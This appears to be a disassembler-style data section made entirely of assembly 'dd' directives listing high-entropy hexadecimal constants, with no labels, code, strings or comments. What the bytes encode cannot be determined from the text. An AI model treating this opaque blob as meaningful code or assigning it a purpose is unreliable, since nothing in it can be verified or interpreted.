		dd 0D78E1766h, 2D025E5h, 0BFE016CEh, 84601E7Dh,	253BFF99h
		dd 0FD1509A6h, 0E075245h, 61623068h, 0CF18D9AAh, 0E2407665h
		dd 0C0FCA16Fh, 2CEB0864h, 444CBB24h, 3F1C908Eh,	0A307F1ABh
		dd 9D6FDB01h, 0E1DDEF93h, 0C980E7E6h, 8C60C35Ah, 0DF1575B8h
		dd 84EC30FAh, 0A4CC6BE4h, 1CCD50ECh, 400D2AEAh,	14154DF8h
		dd 92C0053h, 0A3FC0315h, 0A816F177h, 484528B0h,	0DC53EC05h
		dd 4064D808h, 0D259912h, 2F530813h, 3B042C60h, 0C50F7BEAh
		dd 40871E61h, 4433C198h, 0D002AFAh, 5FD87CF0h, 8204A2h
		dd 0E6145F5h, 6852816Eh, 0E6CE8501h, 4497E40Ah,	0EBA45C40h
		dd 58529069h, 23877847h, 9249D0AAh, 58E19B68h, 0A0318688h
		dd 0E4FAB129h, 8F20C980h, 34D99645h, 0A5A66C03h, 0F7ECE6DEh
		dd 0BB021F41h, 3126F422h, 6242630h, 8936E3E9h, 7E6C0E48h
		dd 7916B09Ah, 0B040D1ECh, 846FD851h, 4A1C28CDh,	196B69A0h
		dd 4037A404h, 966DE60Dh, 0F80417BFh, 661C031Bh,	0A9222EB2h
		dd 0A0E400E7h, 4B4E743Dh, 0DA12957Ah, 1C61D444h, 1EF4D7CDh
		dd 0F1B850DFh, 86941650h, 2C4C0240h, 0BCA28E6Ch, 448C1E8h
		dd 4C002B41h, 8D929014h, 31676605h, 0B93088F5h,	6386108Ch
		dd 0FDB0A992h, 5D7A0D0h, 527BB97h, 52AC041Eh, 840E4491h
		dd 62FDC8Ch, 64E0AA7Eh,	79004183h, 0DF9A7316h, 4BC669Bh
		dd 24FC1B7Dh, 45F08C2Eh, 6188F6C0h, 4A65F6h, 24A3CB27h
		dd 7C2B5386h, 0A8CA9C2Eh, 13106351h, 0FC09F771h, 32E38807h
		dd 0E2F04180h, 0C2860017h, 0BB00A33Ch, 9A88E318h, 293579Fh
		dd 0E6DCC365h, 0D0A03FE4h, 1CFF9868h, 20E22628h, 8D027B00h
		dd 0BB9A5F7Fh, 0E884A92Bh, 880F4072h, 7A0A44Fh,	0A5B5BC8Bh
		dd 0CFAADF05h, 0D8603F7Ah, 126877FFh, 8908E409h, 5CDC2044h
		dd 18CEB73Bh, 83193EFAh, 9F2400CBh, 0CF52A04Eh,	0F0A634C1h
		dd 291F0A30h, 0B9B4C35h, 34FCE9C2h, 0E40D5432h,	0EC401A1h
		dd 2690203Ah, 17483218h, 0C3C719h, 0AA68E61Fh, 190758C1h
		dd 9901F300h, 0E473DFFBh, 69D3132Bh, 0BEB0029Eh, 80EC0E1Bh
		dd 5E9CD17h, 7EB7420h, 13DC009Eh, 0AA72504Dh, 0B30931F4h
		dd 81E3CE5Eh, 9004CB3Ch, 0E11D041h, 0F1244023h,	8E470934h
		dd 69C01C2Fh, 0C1C952D0h, 508F020Bh, 4D1084E8h,	64FABC92h
		dd 0D8273C68h, 39CA5A83h, 0A8E9EB0Dh, 0AC6313h,	0F1C3CF42h
		dd 71283F5Eh, 0A71E0509h, 0D98FB3EDh, 0F0329510h, 0E9CB2498h
		dd 1F6BC900h, 3AAE4BBDh, 0AA00D376h, 7F3F94ABh,	0B8C09DEFh
		dd 32727833h, 0DF4F12B9h, 2300C969h, 0BE0776B0h, 84B510C1h
		dd 0D4980EC4h, 3B8B3FDh, 732619D4h, 89E597B1h, 20851EC1h
		dd 5D90F894h, 22C80030h, 2C7FB7D5h, 0F60A45DDh,	901B6C9Bh
		dd 0A003511h, 2CB40216h, 8496917Ch, 8E98EC0h, 0EC61C7E2h
		dd 0EAF98C93h, 86749B4Ch, 246E6B11h, 15CC971h, 53FCC4B6h
		dd 0EAB860F0h, 38A33409h, 33CC3073h, 0FB741F13h, 0F8559F84h
		dd 318B4849h, 0B027148Fh, 0A2EC143Dh, 6B07723Ch, 6469891Bh
		dd 0B291BC80h, 0B974F9h, 98A86D9Fh, 24F44E68h, 20C0A378h
		dd 0BEB3D01Fh, 7CFAF620h, 537308C2h, 15009FB4h,	0FB86F759h
		dd 0FAFC00E1h, 626F7E93h, 7503E024h, 5C2AA2F0h,	0B661004Eh
		dd 76CA71EAh, 0A50021CEh, 4C97E623h, 14E778Bh, 32C9D610h
		dd 0E9A74FF6h, 9F808067h, 80BE7F4Dh, 10BB601Eh,	0D24972C9h
		dd 58A34700h, 2EBA2DB0h, 68BE0004h, 0A44E094Bh,	79600C52h
		dd 0FE53FF80h, 87B9066Dh, 0D915068Bh, 43095700h, 0BAC6C298h
		dd 9660002Ch, 9AF889A1h, 21F6F038h, 8B30A8F0h, 0BBE2896Fh
		dd 0E3030A61h, 80807955h, 2FCA42E6h, 1E2AFB1Ah,	0DE449490h
		dd 75E7F9Ch, 457039F1h,	0F8783055h, 0E73038B3h,	94C0600Bh
		dd 0A00913D6h, 0CB18EA26h, 3B4F59h, 506535BBh, 0F95CCFF6h
		dd 90E15E01h, 66629C30h, 22F030h, 0FB3D5191h, 3824A1B4h
		dd 40A2DF30h, 0A49B5CA9h, 75692264h, 0E07A2419h, 5EE09629h
		dd 3FA87DDEh, 4B1C764Fh, 0FFA38014h, 5DC07BA0h,	0A631F300h
		dd 5F9739Bh, 3CA0A8B0h,	322A00A8h, 2DE4EA9h, 48005DE6h
		dd 0D659C351h, 38AED0A1h, 6EA0085Fh, 0A2055E70h, 0BB602A05h
		dd 5777D030h, 0F89060EFh, 3784486Fh, 0AB84600h,	4F1F5A24h
		dd 0E8CA012Bh, 1A7E1C21h, 66C4896h, 9E9198A8h, 9851DE00h
		dd 83B1F7D6h, 0B720029h, 3BE150F1h, 0E1C41760h,	80051547h
		dd 0A6884073h, 54E86AFBh, 0EDDB380Dh, 94009874h, 80A35A22h
		dd 84AEAA92h, 6B993C80h, 0B9006CF8h, 2E33506Eh,	0C4A98DCh
		dd 0A24CCE05h, 0AD396629h, 759D03F1h, 0C85DDD4Eh, 1FC076D1h
		dd 0F090C3A2h, 98839C58h, 0A51C5977h, 63C3B0FFh, 0F8704C27h
		dd 97A4EF5h, 0F32DED24h, 0FA566C02h, 0F2E59CA0h, 0B0004169h
		dd 80437276h, 18420F9Dh, 0A9EAD989h, 6F016BEDh,	0D31A1F9h
		dd 0A56002FBh, 47940261h, 13F32475h, 0F6B28C81h, 0BA6D03B9h
		dd 0F72B4163h, 3C3020h,	0C3485952h, 88032B8Ch, 0E989200Fh
		dd 8820928Fh, 1721842h,	7CA27305h, 0F077BEA7h, 13544B12h
		dd 18814D8h, 0C6B500FCh, 2B7C87ADh, 4C30C8D1h, 0DAA49A6h
		dd 2CEF000Bh, 0F7C239B7h, 0FCA69D3Fh, 56F8A906h, 309245h
		dd 770420E6h, 0AC494DCh, 0E733C000h, 0C53342Ch,	52A218C3h
		dd 5403F15Fh, 13F86706h, 3E9BC56h, 533FB681h, 0F6E86B9Bh
		dd 3D76F1FDh, 0B106A218h, 0F8EEAEB1h, 0BD250799h, 0F9986118h
		dd 5E12BD00h, 94A66566h, 0AE6056E8h, 4C8A07C9h,	240F001Bh
		dd 98146E80h, 6005021h,	5B3D27A7h, 0A8F2A4B2h, 6F24F1E4h
		dd 0D6207118h, 0AD0DEBD8h, 51C04C72h, 51AE8B67h, 0E14A07A9h
		dd 0F35E2AA6h, 0E9B3BD92h, 767DC2F0h, 0EDD9D9C7h, 18C54B70h
		dd 0C48A5658h, 0B0FDF100h, 0D0237542h, 6CBE9301h, 0AF1D30F3h
		dd 1CCB5C34h, 2A8174DBh, 8280339Ch, 54F8D159h, 2500F050h
		dd 0FBC55298h, 395CC8AEh, 7A806918h, 0F7CC8CC0h, 0A4AAF5FDh
		dd 738A0B8h, 0A1544h, 90CCF1A0h, 189D8184h, 862C7B00h
		dd 0E3DDFA76h, 22251503h, 905180A3h, 0E52CD700h, 0CD007B4h
		dd 0C61274F7h, 6B30D9C0h, 5CCA977h, 4DB20025h, 0B9C35B85h
		dd 49C0A84Ch, 6137573Ch, 0A01500C1h, 0B6487596h, 2B001343h
		dd 23F70DFAh, 0AEC05D5Ah, 0C0CEB08Ch, 55A0B6B9h, 8F00DF7Bh
		dd 0DE44112Ah, 8BFC85h,	1B747781h, 0B28287B1h, 0F43D8C24h
		dd 830B424h, 0A0A6791Dh, 0F8819668h, 7B240925h,	0E4837CDCh
		dd 2118B321h, 6771B606h, 861400F4h, 0E476E27h, 64613715h
		dd 0A0B55378h, 70E0B058h, 75430495h, 0D9484516h, 0E51C21B8h
		dd 0D3B80092h, 1D8C0058h, 0B6722865h, 7B0184F2h, 0CF3F75AEh
		dd 0FC4CA40Dh, 9042039Eh, 0A213E41Eh, 60C81CA9h, 79038E5Bh
		dd 0EA2E3041h, 8057BA4Ah, 7CD6430h, 0F455009Ch,	0CBDCC2D2h
		dd 0CE481B0Ch, 66E8040Dh, 6CDDE1DAh, 845D885Ch,	0B028378h
		dd 86F41DA9h, 4FB0C1C3h, 1745036h, 47759A6h, 37919F71h
		dd 0B2223Ch, 9375D085h,	5DAE749Ah, 48C81407h, 0FDA0CD94h
		dd 29766D07h, 44FC870Ch, 0CDC15E14h, 7DA91A41h,	0CB15DE8h
		dd 0A15EF421h, 972E5121h, 8316A494h, 14033804h,	30F6900Fh
		dd 0D677FCFCh, 0B320111Ch, 81A64C48h, 76092A84h, 82C1E878h
		dd 7505A512h, 0A580DC63h, 0FA7384D0h, 318400F3h, 10236D8Ch
		dd 8AF45166h, 7F2F350Eh
		dd 4AC6000Bh, 5D9D6C86h, 93C46CF5h, 0C0085465h,	9CC6CF41h
		dd 271800C9h, 47B9B40Eh, 1704B084h, 1F5B5A82h, 685D6490h
		dd 0C6290471h, 88564DE6h, 55004BACh, 12CC5E0Ah,	0F6EEE233h
		dd 2DE90B30h, 80902F7h,	2281B024h, 5227209Dh, 0B21C9C13h
		dd 64C0EA0Ch, 81891642h, 4D832676h, 267C01DCh, 44F1201Ch
		dd 0AE9891F8h, 0B0621478h, 6AEA01E3h, 609F6195h, 470FEBC4h
		dd 0CB24FD0Ch, 5280A0E1h, 987F4F6Ah, 90B17C2Ch,	0E0B25130h
		dd 0E212AC63h, 83503079h, 0FF30F44Eh, 0B698B9A6h, 7A120AECh
		dd 26FC9AD6h, 9C6380A8h, 0FCB2A446h, 1F1EE84h, 5E40B598h
		dd 0D43B68F8h, 0FA25DE80h, 410C324Bh, 1470297Ch, 2DDC0092h
		dd 0BAA419BDh, 80CEEA62h, 0E851F110h, 70A062h, 0E129E301h
		dd 0A9EC4760h, 8B00937Fh, 0E04330B9h, 2799482h,	0C177D74Fh
		dd 0FC8BA99Ch, 2CF14018h, 242C0B50h, 94A8E3F2h,	0A11703BEh
		dd 0E82006B6h, 0E502937h, 0DE2A41D3h, 0DCE524C2h, 3B4C4450h
		dd 0B74BB060h, 79E91D56h, 0DD80C03Dh, 576AD5E8h, 99D61101h
		dd 0A74D5E9Fh, 7CC3980h, 59C5F07Bh, 750AE100h, 897C9A7Ah
		dd 762734BAh, 0F5B0219Ch, 0C4531249h, 207B94h, 8A960F16h
		dd 0E9766628h, 189B4A7Eh, 0FC3315h, 0F88D1B61h,	6C59FD5h
		dd 276FE85Ch, 8058B9ADh, 542E8028h, 9714D4Eh, 563B0918h
		dd 0AB8CACB8h, 0C0B49649h, 0F6BF7BF1h, 0E0A264BDh, 90A440B3h
		dd 41B565h, 91BA36E8h, 24737620h, 0FFD96F60h, 965EF0E3h
		dd 5312BBC4h, 0E1ACC83Dh, 57F44D04h, 14802893h,	60192391h
		dd 0E0D1C8C0h, 4B104C6Fh, 7688EC2Ch, 16E86680h,	263302F9h
		dd 0E4945A1Bh, 0D3A440B1h, 3EECD9h, 2D433FCh, 0A534C8A6h
		dd 2A559214h, 0C740D4F8h, 0C920CA39h, 83033h, 0C06F4E9h
		dd 5352B741h, 813FD500h, 0DD0B6E35h, 9A02FE20h,	209C4BE4h
		dd 0B395ACCh, 809E4F3Bh, 0DB225C0Dh, 291AA545h,	41E094A7h
		dd 807021A8h, 528846D9h, 39DE25FBh, 0B68ACA58h,	42707B35h
		dd 0EC6C69A9h, 481AA803h, 18A0D98Ch, 2AA5DA81h,	0E5044BFFh
		dd 8727D3B0h, 63748090h, 0F0A94D71h, 5F546A20h,	1A4D80D8h
		dd 73B800CCh, 1B3652Fh,	0E702041Eh, 0DC71C6C4h,	0D6027B50h
		dd 0BEAC14DCh, 26386FA8h, 0D5F1007Ch, 2A15E8E5h, 0C4665509h
		dd 0CB68618Ah, 6A838184h, 45109879h, 80CC554Ch,	339D0768h
		dd 0C1FB070Fh, 3073E8B9h, 16D56E21h, 740AD305h,	0C831AC7h
		dd 4DC90F90h, 2033D952h, 0F957B208h, 0A120AE00h, 0B5F0268Eh
		dd 9C2407B9h, 92DF2FD6h, 64A097DEh, 75F4B45h, 0B212189Ah
		dd 0D444B8F8h, 6C892AF1h, 9E7AB436h, 0AA560C40h, 0F5F8A1B9h
		dd 0D531B800h, 81D38406h, 578C123Fh, 7E68206Bh,	79005AA3h
		dd 0ED1EF348h, 0A6BE804Bh, 0ECEC4EC8h, 0B24D007Dh, 0F8E83C86h
		dd 44A5580Eh, 6A256904h, 40D487A2h, 281C2BDEh, 30B5B92Ch
		dd 6F3C2184h, 0E016830Bh, 5D718505h, 0E0619D64h, 0B0397024h
		dd 8D909213h, 0E9BC7058h, 742C1498h, 0A360800Bh, 0F5E3A6CAh
		dd 248AD0h, 794461B1h, 0F55889B0h, 0E6F7E002h, 9312B2F0h
		dd 0E57288A4h, 0F31A12EEh, 0EB084976h, 53FFE460h, 389E7071h
		dd 931D90E2h, 80FD8050h, 4EC713CEh, 36F0308Eh, 0FF1D8BCAh
		dd 0D90DE8F4h, 13C0A999h, 23D5A072h, 59780025h,	741C2E05h
		dd 53012080h, 77FD8971h, 82727ADh, 40EC562Eh, 0F5F4DAE7h
		dd 68015C00h, 0C61CD8F1h, 5D20002Bh, 0D480E61Dh, 789C0612h
		dd 6E6153C0h, 40DC96DCh, 0C0D37C5Dh, 0F8D59502h, 48A5FD24h
		dd 666CA81Ch, 884D2978h, 0E708C8B1h, 65F18213h,	500AA1F8h
		dd 0DE0F1202h, 0EFF02A2h, 0D722A02Eh, 25253B87h, 8813C063h
		dd 50786AC8h, 0A32E3C02h, 40FC8486h, 113F5A0h, 0B7D5A9A2h
		dd 58BA3B8Bh, 0F771B2C0h, 0F85884AAh, 22BD550Bh, 0A6A484F8h
		dd 0B0D73347h, 26F4B3B0h, 803AEC0Ch, 0F2A37968h, 737A0EF5h
		dd 6AE493Bh, 0BAAB7763h, 4F57DF80h, 0EBBE0B01h,	7DC42992h
		dd 7187F3E5h, 90FEF978h, 74BFACDDh, 0A311FC9Bh,	4A0A502h
		dd 0B871533Dh, 2C62F180h, 0B4556BB5h, 0B72940E8h, 0C100C407h
		dd 13099EBEh, 0F8A11F0Bh, 0F01B1242h, 46E80B99h, 0BCD5888Fh
		dd 0C0A49424h, 4DEFB2ECh, 355351CFh, 0ABB60080h, 0C06ED528h
		dd 93E60266h, 85A35C2Ch, 40D7F4E3h, 3426778Dh, 6C40805Ah
		dd 1D66A4AFh, 147D1760h, 8D6C35A1h, 687A600Ch, 4287A200h
		dd 0F6CE1351h, 60DF5D66h, 0D890568Bh, 0F401FA40h, 68926BAEh
		dd 0EC39211Dh, 8FC0584Ch, 331681C5h, 37A43100h,	267DE1F7h
		dd 44634B24h, 22B679E8h, 636E20B0h, 0F40E5A49h,	80AF3DEBh
		dd 5F9839ACh, 0E47C4C64h, 7A254EC1h, 15C714AFh,	4924F1FCh
		dd 1C7C581Fh, 0D4ECC359h, 4A21A8DDh, 0C607B411h, 90D049D5h
		dd 46B21178h, 5C14213Fh, 0F392DE60h, 9FDBCC9h, 3CD1FF12h
		dd 6361384Fh, 79601D9h,	5A3F0336h, 0B72830C6h, 94B84205h
		dd 0E8205548h, 9CF6DBh,	0A7B681B9h, 4518F022h, 5AE25902h
		dd 0E9BF16FEh, 5410AD90h, 0DA07C201h, 0CC68B46Ch, 3245EC70h
		dd 0BE551E34h, 820EEDBh, 4F09C822h, 30DC942Ch, 0A0C16EDDh
		dd 9CD9A6h, 1981B180h, 3F321Ah,	33088B7Ah, 350B8E6Ch, 0F8F1AD13h
		dd 77F05C00h, 3C89B1B0h, 622719CAh, 3CC0341Ah, 418A7198h
		dd 0C430DDB4h, 0DF7C00B7h, 27A4D74Eh, 0C3016D6Fh, 3637A598h
		dd 883744B3h, 13FE4D00h, 0BF144698h, 0BAEEB215h, 0B09B2EACh
		dd 61BB45C0h, 52F65AB2h, 621C0178h, 0DB06A28Bh,	6B2AD900h
		dd 0EE097870h, 327D28h,	0F448E2F7h, 0E671B640h,	11343CF3h
		dd 3B11D8EFh, 6AA813A6h, 3F09860h, 6D11C057h, 52F40644h
		dd 601D7526h, 78905422h, 498A90B6h, 56E594DDh, 0ECB0CB4h
		dd 0DF3CD980h, 0BDCD3442h, 9EA3B861h, 0BA808249h, 0B572D74Fh
		dd 6021850h, 0E461D9EBh, 33761900h, 96A64921h, 1280135Ch
		dd 926062F7h, 0AC90ECEEh, 2B545E00h, 0F27887E5h, 0F05624F8h
		dd 1D1B8070h, 1F793D81h, 7E767409h, 336CC0B7h, 4440B8D8h
		dd 0CC0BC1B4h, 0FE42CD2Dh, 0B69E0181h, 0F3FA6526h, 68724982h
		dd 4AA85944h, 7748251Fh, 33DD11E4h, 80787872h, 56B9F17Bh
		dd 0AF060003h, 0DDF877C7h, 270299DBh, 0FED1A66Ah, 3E8C8102h
		dd 0F8D497B9h, 1EF0203h, 8ACEEEDAh, 5F0520E6h, 0F6D50FB0h
		dd 2815AFC0h, 0D6CB009Ah, 6CC3CC5h, 0E1171B6Fh,	8C216BBDh
		dd 162023D3h, 0C8FA1C49h, 326C00F3h, 8C64544Eh,	0DE4BA80Ah
		dd 0CF003005h, 0EF2358FFh, 0A3771E1Ah, 49FD0A60h, 0FEC600AFh
		dd 912A301Ch, 5BB7093h,	463FC531h, 2E01B8E2h, 147A6358h
		dd 75742699h, 0BCA4772Ah, 2C90F105h, 0CC40BE87h, 1533B82h
		dd 4C6272A8h, 1321B094h, 0F1037F91h, 0BB4CD169h, 31841100h
		dd 0C4D307D8h, 0C6990183h, 42AE22B5h, 5EAC3044h, 2C96CBF6h
		dd 0FC02F0CAh, 7DA4B2h,	5D5E866Dh, 0DBF24308h, 27E800B8h
		dd 3BE1F80h, 0A71BDEF0h, 25E16E8Bh, 0E81E9710h,	41F9B209h
		dd 9EB49192h, 57248011h, 0F03C90CCh, 0B45F48E1h, 0B945AE0h
		dd 8F59798Dh, 8857A804h, 197CEA64h, 5BFAED01h, 47D9C192h
		dd 40728C30h, 0F09153C5h, 0E1E36700h, 98669121h, 0C55C2DFDh
		dd 0BEA01893h, 64001D94h, 0B3D5F711h, 4AECD421h, 3FC44051h
		dd 181C8C9Eh, 99C71A1Fh, 0DD6C8602h, 2760FB73h,	71109490h
		dd 66183Dh, 0E68B2CBEh,	953D76C1h, 3F1B030h, 90772527h
		dd 0BA293A34h
		dd 3B1D2CD8h, 0E2F144B8h, 920E00C4h, 0C9DE42FEh, 0A5A32419h
		dd 0DB9B8808h, 0F281BC2Bh, 41391F4Ah, 71D49C4Dh, 0AD0300C2h
		dd 63709567h, 0EF3D0144h, 50A0812Fh, 1BA158DEh,	547D6F60h
		dd 4C2CCC20h, 843B7F95h, 14A43A87h, 64F49A48h, 0EEF77146h
		dd 0D0537192h, 0C67E55C4h, 0FD01A4F6h, 0F904AB60h, 0EAD43DB9h
		dd 61BA25C5h, 0A36EC866h, 3475B1D8h, 0B34978FEh, 7849297Ch
		dd 472C09h, 4AAC9698h, 0B114B42Dh, 0CAD4AAE0h, 10E62860h
		dd 31B70C2Dh, 0B8485300h, 0F452EEBFh, 0DD0F00D6h, 0CDCA6228h
		dd 5B09A360h, 66F29929h, 64F25DCh, 0E2603448h, 0FF0BCF00h
		dd 757DA8D1h, 0E04D24DDh, 0D0AA18E4h, 1882D8E7h, 89AC5Ch
		dd 0D51792FFh, 8F9D67Dh, 8276667Ah, 0B6F876F0h,	0AC03DA7Ah
		dd 6C8A0BB1h, 0AE1903D7h, 0E10C377Eh, 25D484EAh, 1CD15C00h
		dd 3BDFE296h, 328EFD02h, 834A6489h, 7EB1011Ch, 0C05F8846h
		dd 0D10F9118h, 8082D663h, 9F9444A0h, 159A01BAh,	1E3E53AAh
		dd 85B07FA2h, 40B76059h, 0D12B4D5h, 0F705B0DEh,	442065B6h
		dd 5A40108h, 2F55B6Ch, 0A65BC727h, 78183126h, 51487E88h
		dd 0FFC30058h, 55B92959h, 79008194h, 8F31B650h,	1CBAEFCEh
		dd 395EE05Dh, 5490A8h, 46872B20h, 59A3846Bh, 8BF45B09h
		dd 8952871Bh, 30618556h, 94B1B1BEh, 0A400FAB9h,	0C5DBA97Ch
		dd 0CCF8BA0h, 5D576E7Fh, 782A7970h, 70E90DDh, 471DA884h
		dd 28CA672Fh, 20490D0Fh, 0C156F20Bh, 4E3C00A5h,	0C6EB36D6h
		dd 0BB56E924h, 3881584h, 449488C0h, 562603ADh, 69A11E7Ch
		dd 21601AD6h, 130FB002h, 1008F520h, 5B980FA4h, 0DB82A9DFh
		dd 18485E56h, 8C01074Ch, 47AD960Eh, 0E04D4A38h,	3C3E67E0h
		dd 0BF008A4Dh, 0A382B5F3h, 35338CE0h, 0D064418Bh, 1879A0ADh
		dd 38BEA4C5h, 8E613B8Ch, 0C2B2D621h, 12E7E9E0h,	28F12D89h
		dd 48F98B2Ch, 5F88B5B8h, 342B07BAh, 0B01CE9BCh,	2D56B4E1h
		dd 15004578h, 940B67C6h, 0F09B438Bh, 0B8A07BB5h, 0A06A60D7h
		dd 0BC8FD1Bh, 78A160C2h, 208CAEEAh, 92E5FFECh, 34120099h
		dd 20FB6DB9h, 5E005789h, 0D39BF8F5h, 493C8CD6h,	980A885h
		dd 844EEBA4h, 0BF6AAE0Ch, 773A9B2h, 4B5A928Ch, 9843730Ch
		dd 0E31A2AC0h, 9449E603h, 0E8731CC4h, 0CA032D13h, 40E499F1h
		dd 0E9053C4Ah, 84B69503h, 18B40C26h, 81895659h,	0E704CE83h
		dd 4F5C36E9h, 3523E2C0h, 0EDB01248h, 840409C7h,	8EA8C402h
		dd 0CE6E8901h, 54BE6194h, 67BB790Eh, 0DBEA1283h, 0B62344F8h
		dd 0D7E17A0Eh, 9A8E227h, 559C9422h, 0D0CBCC87h,	5C997h
		dd 7C1230Fh, 0EE79A826h, 371117Bh, 0E085D800h, 177C2FD2h
		dd 9295242Bh, 84560CA8h, 0D8E51DC9h, 0D1242464h, 83405CBEh
		dd 4C3F08Dh, 4C940D31h,	0BE2082A1h, 0E64D8490h,	24F14F00h
		dd 81873788h, 0AFE80094h, 8FC50915h, 84388CF0h,	0FD0C0CACh
		dd 6608B9h, 99D3CC94h, 0D6186A65h, 92004498h, 767F3AE3h
		dd 190EB0EFh, 31A22219h, 1CD36091h, 1DBCA400h, 0D7628C4Fh
		dd 0A0DA0759h, 6182FE3Ch, 0C0BFFFEAh, 4E00660Bh, 9E6A0F97h
		dd 0E89309h, 67E7CBF7h,	0C2FE9F8Ch, 1F47E400h, 0C5776B7Ch
		dd 69B260FAh, 0B449FC5Eh, 0D0E24D00h, 5A95A7A1h, 0C5750172h
		dd 0A9A4E02Bh, 11E0EB1Eh, 9F6ADC19h, 0A100A839h, 96833A4Ah
		dd 605905E8h, 208D67DFh, 0F090875Ch, 888E9A2Ah,	0E32C771Bh
		dd 408C0B0h, 9192007Ah,	0F23B9565h, 6F3E3F18h, 0D6588D83h
		dd 0A106C0A4h, 47D35831h, 4A18C600h, 0F63B731h,	2C0018DCh
		dd 1C1A99F2h, 0A1A560DCh, 379E2685h, 0D88EB63h,	0B9C122ACh
		dd 61D12C88h, 3F622207h, 0D0C6875Eh, 0DA310019h, 29010D27h
		dd 77002F9Fh, 0FBB38C38h, 483B86h, 1EDD2069h, 9E727932h
		dd 0FAE8DCEDh, 0F7B8B860h, 0DD8FB680h, 93DB00F9h, 3A3D05A0h
		dd 8494AF0Ah, 640AE4C8h, 0B74078F6h, 0C265EA3Bh, 0B8DD1938h
		dd 41B45884h, 0F815C198h, 4F1AE4h, 7875F018h, 95CDC294h
		dd 4DC544Ch, 92813E60h,	28B7048Ch, 222CE380h, 9170A223h
		dd 1E76DC0Ch, 7D961A5h,	4DB0971Dh, 0EC82183h, 0CF80D8E7h
		dd 9D1987F1h, 8CE7B913h, 300A8181h, 4F151710h, 9590ED04h
		dd 73C0F9D0h, 6036C824h, 6C8C2083h, 8F00CA7Dh, 2051B404h
		dd 0AF0D4Bh, 0F7559009h, 73BB6C6Bh, 3604CF7Eh, 0B68397CAh
		dd 0D80A1E83h, 0F79020h, 778B9826h, 59C3E7D3h, 3839CD0Ch
		dd 7D286184h, 1C5D0079h, 89F0F5EDh, 33032369h, 3F4FF7CEh
		dd 4C34F83Bh, 0EBC7E7Dh, 0F8D6779Ah, 9008F0BCh,	6630D2DEh
		dd 0D3BED168h, 6F2B0070h, 5AAF5988h, 5E0FA7E0h,	80B8F562h
		dd 0F72823B7h, 0C1150C02h, 84F86878h, 694B4500h, 4398CF87h
		dd 7AAE3160h, 507FF2A1h, 0DEE7889Ch, 6F490100h,	0A947C1C8h
		dd 3A3C0EEBh, 6124FCEh,	395D38B0h, 0D807E77Ch, 0B5341820h
		dd 65AB6F40h, 76BF0146h, 8493D6CEh, 3C88D03Bh, 0B0607060h
		dd 0BC6BADh, 300C8E50h,	0D523B817h, 6F11BB00h, 885A11Ch
		dd 43A60015h, 6EA65AAh,	40FCB941h, 80A7703Dh, 0E2D34FBEh
		dd 1EE322A4h, 13FFF79h,	0D418F04Bh, 0E050802Bh,	0F250EECh
		dd 0A27A00A8h, 0FA31EFB2h, 3001A11Bh, 0D321C558h, 3080D535h
		dd 47C3341Ah, 260ABCFEh, 4C46328Bh, 8EFC00Ch, 5AB002Bh
		dd 77B90C51h, 0F21DE7E6h, 200D66Ch, 86A14FE8h, 58C964D5h
		dd 0FEC05D33h, 43200EFCh, 53360013h, 69281A67h,	0AE3C2F32h
		dd 0F35D9875h, 61D246C0h, 54E4393Eh, 9045D89Ah,	6810100h
		dd 53380FD9h, 0B6550FF1h, 50002AE6h, 0B5EAA86Ch, 80D5243Eh
		dd 21C12810h, 0E9553318h, 3A41C180h, 0D3131A82h, 12613267h
		dd 447A5090h, 5E1600F7h, 39D0A285h, 80032FA5h, 5653AD1Dh
		dd 169808E4h, 979D997Fh, 0B1CAD802h, 29B4A0C7h,	65399Dh
		dd 3A60F3Eh, 0A809AAFh,	153FF00h, 35A18EF9h, 0C98DE31h
		dd 8639C591h, 153DBC00h, 9937DA8Bh, 0CB2900DDh,	3155FBE5h
		dd 5702F711h, 9DC5BDD2h, 0D3C0A3FEh, 0B189003Ah, 0A6433EEDh
		dd 0A000653Dh, 0F41FBB64h, 0C992435h, 1769EB39h, 0A354C690h
		dd 0F1182B84h, 0DF81C8AFh, 7F2FCF3h, 73A048DBh,	5329AC2Fh
		dd 0C942F900h, 30029A1Fh, 0E619C01Dh, 145F282Dh, 4D6C1C00h
		dd 0E0B57318h, 35CF1E7Eh, 0DC29F030h, 74002E1Fh, 0D157990Ah
		dd 0B8BA73C2h, 0F23818CBh, 0A90298D0h, 3CCCC322h, 4C8050E5h
		dd 0F66CF7F8h, 0AA078C10h, 0D29EFDEAh, 0E862E3D3h, 0E05740ACh
		dd 0A829F448h, 0F4F7284h, 0A06AEC24h, 977B4080h, 4400FC62h
		dd 4A5AF5EAh, 933439Ch,	0ADD8C251h, 24169830h, 20499A64h
		dd 52F18C98h, 243AF0A6h, 0C228849h, 28D24B19h, 3E0DC39h
		dd 6C9400C2h, 8608CCA1h, 29001449h, 0E4C5070h, 4C5EDAFh
		dd 39A0A831h, 2B1493DDh, 50CBA3D1h, 0B60B1880h,	0D4C352h
		dd 0BF81A920h, 72A7F713h, 5332193Dh, 0D92F2125h, 0F1242598h
		dd 0C0D4221Dh, 0A1C20EB7h, 7AA500BBh, 6FA27EA6h, 270C6E6Bh
		dd 28C82BFDh, 9C1B1830h, 0CF3FE9B7h, 2DEAA100h,	0FA9997B2h
		dd 7D350EC5h, 1240CCB3h, 7A743E22h, 6441B600h, 55453A92h
		dd 2B2D0498h, 97CB3176h, 40205438h, 0B08D1E45h,	9B1F8D8h
		dd 0C015596h, 0F9789001h, 0A3A0D0A8h, 1CC5300Ch, 0A8FCE0B1h
		dd 8C997CCCh, 0C9E91C10h, 0BF3EB121h, 7FA70748h, 8B1078A5h
		dd 72F8F2A6h, 4C017102h, 30764A8h, 0D04BDA48h, 0C261462Ch
		dd 0FBE74501h, 1827FAF8h
		dd 7138E4h, 0A8B352F1h,	45498E87h, 0B4F024h, 69BB4062h
		dd 0C50F168h, 0E9F0BD20h, 0DBBB5700h, 9E745C00h, 0E4CBA6FCh
		dd 0BF210649h, 300BC91Bh, 6916B51Ch, 80903054h,	4533140Eh
		dd 0C42A1488h, 6A0AB08Dh, 32AC480Ah, 58647330h,	286047E8h
		dd 22A24839h, 0CE1D2643h, 0D93A80FCh, 4A9E1A6Bh, 98CCED00h
		dd 7248C48Eh, 153726B5h, 41803A0Ch, 0ABCDE061h,	0A7487199h
		dd 0D4861448h, 60903DDCh, 267CE5D9h, 0FB3C3862h, 0F4816700h
		dd 4B090E53h, 2F4A6001h, 9E915E44h, 0FF9B3180h,	30F763B4h
		dd 0C937F4B8h, 1576181Bh, 38E900B1h, 2A595210h,	51C82A9h
		dd 86C3F970h, 0C01201AEh, 0FC31A418h, 0C8EF064h, 0B0F8FC6Ch
